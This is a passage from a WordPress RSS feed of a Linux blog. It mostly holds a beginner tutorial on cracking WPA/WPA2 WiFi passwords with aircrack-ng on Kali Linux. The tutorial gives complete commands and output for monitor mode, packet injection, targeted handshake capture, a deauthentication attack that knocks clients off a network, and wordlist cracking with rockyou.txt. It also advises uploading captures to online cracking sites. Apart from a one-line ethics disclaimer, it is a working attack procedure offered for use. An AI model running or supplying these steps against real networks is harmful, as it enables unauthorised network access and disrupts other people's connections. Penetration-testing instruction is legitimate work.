<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now you can boot your Kali VM and start practicing your wireless hacking skills. You can list all the wireless networks around you and even put your card in monitor mode.</p>



<p>I believe up to this point, you have a working wireless adapter on your Kali Linux VirtualBox machine. Please remember when selecting an adapter for wireless hacking to ensure the chipset used is among the chipsets listed above.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3399</post-id>	</item>
		<item>
		<title>Crack WPA/WPA2 WiFi Passwords using Aircrack-ng &#038; Kali Linux</title>
		<link>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/</link>
					<comments>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 20:18:29 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3381</guid>

					<description><![CDATA[For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking. That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis. This post will give you a detailed guide [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking.</p>



<p>That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis.</p>



<p>This post will give you a detailed guide on cracking WPA/WPA2 WiFi passwords using Kali Linux.</p>



<p class="orange-border"><strong>Important:</strong> In this article I&#8217;ll be demonstrating how to crack a password on my WiFi network. Please do not use this method for non-ethical purposes.</p>






<h2 id="understanding-how-networks-operate" class="wp-block-heading">Understanding How Networks Operate</h2>



<p>Before looking at how to crack WiFi passwords, you need to understand how a network operates. A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources. An excellent example of a resource that we connect to networks to access is the <strong>Internet</strong>.</p>



<p>Whether you are on a wired or wireless network, one device is always considered a server. For example, if you are on a home network, the server would be the router/Access point. To connect to the internet, a Device(A) will send a request to the router, which will, in turn, fetch what you want from the Internet. Data transmitted between the client and the Access Point is known as <strong>Packets</strong>.</p>



<p>This tutorial will teach you how to capture these packets and use them to crack WPA and WPA2 passwords.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="663" height="412" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp" alt="Typical Network" class="wp-image-3392" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp 663w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-57-300x186.webp 300w" sizes="auto, (max-width: 663px) 100vw, 663px" /></figure></div>



<h2 id="managed-mode-and-monitor-mode" class="wp-block-heading">Managed Mode and Monitor Mode?</h2>



<p>Every device with access to the internet comes with a chip known as the Network Interface Card (<strong>NIC</strong>). This chip is responsible for capturing packets sent by the router to our device.</p>



<p>By default, it is set to <strong>Managed Mode</strong>. That means it can only listen to packets sent directly to our device (packets with our devices’ MAC address as the destination MAC). To crack a WPA or WPA2 WIFi, we need to capture many of these packets. Therefore, we will set our <strong>NIC</strong> to <strong>Monitor Mode</strong>. In Monitor Mode, the card will listen to all packets being sent by the router capturing as many packets as possible.</p>



<p>Up to this point, I believe you now have the basic knowledge required to get you started with Network hacking. Boot your Kali Linux machine, and we can begin to crack WiFi passwords.</p>



<h2 id="an-overview-of-how-the-method-works" class="wp-block-heading">An Overview of How The Method Works</h2>



<p>To give you a short and simple overview so you know what&#8217;s coming up, we will:</p>



<ol class="wp-block-list"><li>Set our wireless network adapter in <strong>monitor mode</strong> so it can listen for packets</li><li>List all available WiFi networks</li><li>Target a single WiFi network from which we&#8217;ll try to capture <strong>Handshake packets</strong> &#8211; these are packets transmitted between the router and the client computer, when they&#8217;re trying to establish a connection. We want to capture these packets, because some of them will contain the <a href="https://docs.oracle.com/cd/E26180_01/Platform.94/ATGPersProgGuide/html/s0506passwordhashing01.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">hashed password.<span class="wpel-icon wpel-image wpel-icon-19"></span></a></li><li>We won&#8217;t be decrypting the hashed password, but it still provides a valuable clue. Next we&#8217;ll use a large list of popular passwords, and we&#8217;ll turn each one into a hashed form, and compare them with the WiFi password, in it&#8217;s hashed form, that we got from listening to packets.</li><li>When the hashes match, this means that we found the password.</li></ol>



<h3 id="important-notes" class="wp-block-heading">Important Notes</h3>



<ol class="wp-block-list"><li>In our tutorial we&#8217;ll use a popular list of passwords, called <strong>rockyou.txt</strong>, that comes with Kali Linux.</li><li>If the password you&#8217;re trying to crack isn&#8217;t in the passwords list, also called <code>wordlist</code>, then we won&#8217;t be able to crack it.</li><li>You can check if the password is in the wordlist by running something like <code>sudo grep -F 'yourpassword' /usr/share/rockyou.txt</code>.</li><li>Keep in mind that <strong>/usr/share/rockyou.txt</strong> is archived by default, into&nbsp;<strong>/usr/share/rockyou.txt.gz</strong>, so you&#8217;ll have to extract it first. To do this you can run:<br>cd /usr/share/wordlists &amp;&amp; sudo gzip -d rockyou.txt.gz</li></ol>



<h2 id="step-1-put-your-card-in-monitor-mode" class="wp-block-heading">Step 1. Put Your Card in Monitor Mode</h2>



<p>On your Kali machine, open the Terminal and execute the command below to list all the connected network devices.</p>



<pre class="wp-block-preformatted prompt">ifconfig</pre>



<p>Or</p>



<pre class="wp-block-preformatted prompt">ip a</pre>



<p class="neon-border"><strong>Related</strong>: In case you&#8217;re also running Kali Linux in a virtual machine, here is a tutorial on how to connect wireless adapter to Kali Linux in VirtualBox/VMware &#8211; <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>. It also covers the types of wireless adapters you can place in monitor mode and that can do packet injection.</p>



<p>In Kali, the Wireless card will be listed as something like <code>wlan0</code>. I&#8217;m using Kali Linux in VirtualBox, with a wireless adapter connected.</p>



<p>In my case, the WiFi network is listed as <code>wlan0</code>:</p>


<div class="codeblock-title">Output from ifconfig</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="19" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe2f:7ffe  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 08:00:27:2f:7f:fe  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1452 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 880 (880.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 880 (880.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099&amp;lt;UP,BROADCAST,MULTICAST&amp;gt;  mtu 2312
        unspec ca-d3-dd-57-cf-30-00-B9-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 20790  bytes 0 (0.0 B)
        RX errors 0  dropped 20790  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</pre>



<p>To put your wireless adapter in <strong>monitor mode</strong> (a mode where the adapter can capture all kinds of WiFi packets) , we will use a tool known as <a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">airmon-ng<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Execute the command below and replace <code>wlan0</code> with the name of your wireless card.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng start wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    399 NetworkManager
   1142 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           8188eu          TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
                (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0)</pre>



<p class="neon-border"><strong>Note</strong>: You won’t access the internet with your card in monitor mode. It will not even be listed under the network devices on your Settings app.</p>



<p>If your card keeps reverting to <strong>Managed mode</strong>, you will need to kill all interfering processes with the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng check kill</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Killing these processes:

    PID Name
   1142 wpa_supplicant</pre>



<p>To check whether your card was successfully put to monitor mode, execute the command below:</p>



<pre class="wp-block-preformatted prompt">iwconfig</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11b  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Monitor  Frequency:2.457 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/100  Signal level=-100 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>



<p>From the image above, you can see the <code>wlan0</code> card is set to <strong>Monitor mode</strong>. In some cases, the Kali system will add the suffix <em>&#8220;mon&#8221;</em> to any card in Monitor mode. For example, <code>wlan0</code> would be renamed to <code>wlan0mon</code>. If that&#8217;s the case for you, that is the name you will use anytime you want to call the WiFi card.</p>



<h2 id="step-2-test-your-card-for-packet-injection" class="wp-block-heading">Step 2. Test Your Card For Packet Injection</h2>



<p>In most wireless attacks, you will need to perform packet injection (Forging or spoofing packets) and unfortunately, not all Network Cards support packet injection.</p>



<p>To test your card for packet injection, execute the command below and ensure you are near WiFi networks. Remember to replace wlan1 with the name of your wireless card in monitor mode.</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --test wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:10:12  Trying broadcast probe requests...
20:10:12  Injection is working!
20:10:14  Found 7 APs

20:10:14  Trying directed probe requests...
20:10:14  73:6F:5F:92:73:DD - channel: 1 - 'N00bLx Office'
20:10:14  Ping (min/avg/max): 1.831ms/9.501ms/16.956ms Power: -65.80
20:10:14  30/30: 100%</pre>



<p>From the image above, you can see my card can inject packets into the network. If that&#8217;s not the case for you, you can buy a USB Network card (WiFi dongle) that supports packet injection.</p>



<p class="neon-border">You can also find a list of recommended network cards, along with beginner friendly explanations, in our related tutorial <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>.</p>



<h2 id="step-3-packet-sniffing-using-airodump-ng" class="wp-block-heading">Step 3. Packet Sniffing Using Airodump-ng</h2>



<p>Now that we have enabled Monitor mode on our wireless card and even tested it for packet injection, we can now capture packets on our WiFi networks. We will use a tool known as <code>airodump-ng</code>. Execute the command below and press <strong>Enter</strong>.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng &lt;wifi-card-in-monitor-mode&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">CH  4 ][ Elapsed: 12 s ][ 2021-08-27 20:16                                                
                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID           
                                                                                          
17:5A:78:5B:AE:56  -69       44        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network
07:E1:B2:8E:0E:82  -50       49        0    0   6   54e. WPA2 TKIP   PSK  N00bLx Bathroom WiFi          
17:93:7E:F0:FF:A8  -51       41       35    5   1  130   WPA2 CCMP   PSK  The Neighbour       
D3:DA:6D:87:61:86  -52       45        0    0   6   54e. WPA  TKIP   PSK  &lt;length:  0&gt;    
73:6F:5F:92:73:DD  -57       41        0    0   1  130   WPA2 CCMP   PSK  N00bLx Office       
73:E4:D1:03:B1:8D  -65       37        0    0   1  130   WPA2 CCMP   PSK  Mayor's Office      
9B:9D:78:DC:92:43  -67       45        0    0   8  130   WPA2 CCMP   PSK  Sheshe          
AB:25:7A:0A:5C:42  -77       33        4    0   8  130   WPA2 CCMP   PSK  Skynet-4114   
AB:AA:DC:10:4D:3F  -76       27        0    0  10  130   WPA2 CCMP   PSK  Mark_cdd5e8     
B3:10:82:55:F1:57  -86       21        0    0  11  130   WPA2 CCMP   PSK  MARK-7NfA       
2F:78:E6:5B:0F:2B  -93       40        1    0   5  540   WPA2 CCMP   PSK  home network     
AB:30:6D:D1:31:E5  -93       27        0    0   6  130   WPA2 CCMP   PSK  Mobile-1615   
F3:F1:AE:18:A2:46  -93        4        0    0   1   48   WPA2 CCMP   PSK  MrBot_80     
63:8C:27:81:CB:8D  -93        2        0    0  11  130   WPA2 CCMP   PSK  UPC2076594      
D7:BF:F1:DF:52:23  -93        3        0    0   5  130   WPA2 CCMP   PSK  Bob      
EB:48:C0:6D:98:35  -86       24        7    2   3  130   WPA2 CCMP   PSK  TP-Link_47F0    
07:E1:06:1A:32:B1  -89       35        0    0  11  130   WPA2 CCMP   PSK  Some Netowrk       
4F:FB:76:4D:66:EA  -93       14        0    0  11  130   WPA2 CCMP   PSK  Mobile-746339   
9B:53:21:87:20:38  -93       17        2    0   3  130   WPA2 CCMP   PSK  LALA124173       
E3:88:A3:6E:6B:F5  -93        5        0    0   1  130   WPA2 CCMP   PSK  HAI-Fh9n       
CB:9B:94:7E:0A:AE  -93        2        0    0   1  130   WPA2 CCMP   PSK  BATMAN2629688      
6B:8B:B1:59:88:0E  -93        9        0    0   1  130   WPA2 CCMP   PSK  HI              
                                                                                     
                                                                                          
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes         
                                                                                          
(not associated)   33:C6:35:3F:05:D8  -94    0 - 1     41       10         LALA-4qnS      
(not associated)   57:B1:C8:C5:37:1B  -94    0 - 1      0        1                        
0F:93:59:43:F0:E4  23:1D:97:42:42:F3   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  9B:C5:40:6E:34:34   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  13:17:36:01:1A:D2   -1    1e- 0      0        2                        
0F:93:59:43:F0:E4  53:85:C5:90:21:D9  -74    1e- 1e     8       12</pre>



<p>You will see a screen similar to the one in the image above. The program will continue running unless you close it using <strong>Ctrl + C</strong> or <strong>Ctrl + Z</strong>.</p>



<p>Let&#8217;s discuss the information on this screen.</p>



<ul class="wp-block-list"><li><strong>BSSID</strong>: This column displays the MAC address of the target network. That is the MAC address of the router or the Access Point.</li><li><strong>PWR</strong>: This is the signal strength or the power of the network. The closer the number is to zero, the better signal we will get.</li><li><strong>Beacons</strong>: These are frames sent by the Access point to broadcast its existence</li><li><strong>Data</strong>: These are the valuable data packets or frames that will help us in cracking wireless networks</li><li><strong>#/S</strong>: This column shows us the number of data packets we have collected in the last 10 seconds</li><li><strong>CH</strong>: This column indicates the channel on which the network is operating.</li><li><strong>MB</strong>: That indicates the maximum speed supported by the network.</li><li><strong>ENC</strong>: This column indicates the encryption used by the network</li><li><strong>CIPHER</strong>: Indicates the Cipher used on the network</li><li><strong>Auth</strong>: This shows the mode of authentication used to connect to the network</li><li><strong>ESSID</strong>: This column indicates the name of the WIFI network</li></ul>



<p>In this step, all we did was random packet sniffing. We did not target any particular WiFi network or store the sniffed packets.</p>



<p>However, that is useful since it gives you detailed information about networks near you.</p>



<p>In the next step, we will look at targeted packet sniffing.</p>



<h2 id="step-4-targeted-packet-sniffing" class="wp-block-heading">Step 4. Targeted Packet Sniffing</h2>



<p>The difference between <strong>WPA</strong> and <strong>WPA2</strong> is that WPA uses TKIP (Temporal Key Integrity Protocol) while the latter is capable of using TKIP and any other advanced AES algorithm. However, the method that we will use to crack the password is the same for both networks.</p>



<p>To crack WPA/WPA2 wifi networks, we will utilize the handshake packets. These are four packets transmitted between the router and the client when establishing a network connection. To capture packets on a specific network, we will use the syntax below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid &lt;MAC-of-AccessPoint&gt; --channel &lt;channel-number&gt; --write &lt;name-of-file&gt; &lt;card-name&gt;</pre>



<p>From the image above, I will be cracking the password for the network with ESSID &#8220;Mrs. Test WiFi&#8221; I will use the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid 17:5A:78:5B:AE:56 --channel 1 --write mrstestwifiPackets wlan0</pre>



<p>Now all you need to do is sit back and wait for the tool to capture as many Handshake packets as possible.</p>



<pre class="wp-block-preformatted">CH  1 ][ Elapsed: 6 s ][ 2021-08-27 20:20                                                                                      
                                                                                                                               
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                            
                                                                                                                               
17:5A:78:5B:AE:56  -22  93       88        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network                           
                                                                                                                               
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes</pre>



<p class="purple-border"><strong><span style="text-decoration: underline;">However, there is one problem</span></strong>.<br><br>Handshake packets are only captured once &#8211; when a device connects to the network. Therefore, to capture as many handshake packets as possible, we will need to use an attack to remove users from the network and reconnect. Deauthentication attack. That will help us capture more handshake packets.</p>



<p>To carry out a deuathentication attack, open a <strong>new Terminal</strong>, while leaving the current one running and trying to capture Handshake packets,&nbsp;and execute the command below:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a &lt;BSSID-MAC&gt; &lt;Wireless-Card&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a 17:5A:78:5B:AE:56 wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:32:03  Waiting for beacon frame (BSSID: 17:5A:78:5B:AE:56) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:04  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:06  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
...</pre>



<p>The command will send 50 deauthentication packets, which are enough to disconnect several clients from the router. Once they reconnect, we will capture their handshake packets. All these packets are stored in the “<em>mrtestwifiPackets”</em> file we specified when performing a targeted sniffing.</p>



<h2 id="step-5-cracking-wpa-wpa2-using-a-wordlist" class="wp-block-heading">Step 5. Cracking WPA/WPA2 Using a Wordlist</h2>



<p>When we have captured enough Handshake packets, we can start to crack them using a wordlist.</p>



<p>Execute the ls command on your working directory. You will see several files with the name which you specified to save your sniffed packets. Look for the file with the <code>.cap</code> extension. That is the file we will use to crack our WiFi password.</p>



<p>The tool that we will use is known as <code>aircrack-ng</code>. Use the syntax below:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng &lt;packet-file-name&gt; -w &lt;wordlist_path&gt;</pre>



<p>In my case, I will run:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt</pre>



<p>And here is the successfully cracked WiFi key.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="470" src="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp" alt="Successfully Cracked WiFi Key" class="wp-image-3393" srcset="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp 831w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-300x170.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-768x434.webp 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>As you can see where it says <code>KEY FOUND! [ mrpassword]</code>.</p>



<p>This process might take some time, depending on your wordlist and the complexity of the key. Some tips you can use to speed up the process are using the GPU, which is much faster, or uploading the captured handshake file to an online cracking site. These sites use powerful computers which can crack passwords even faster. You can also create your wordlist using a Python or Bash script or use the crunch tool.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This tutorial has given you a detailed guide on cracking WPA/WPA2 key against a wordlist. With a large wordlist, you can easily crack different combinational passwords. However, if the key is very complex, using a wordlist may not always work. If you encountered any issues, then feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3381</post-id>	</item>
	</channel>
</rss>
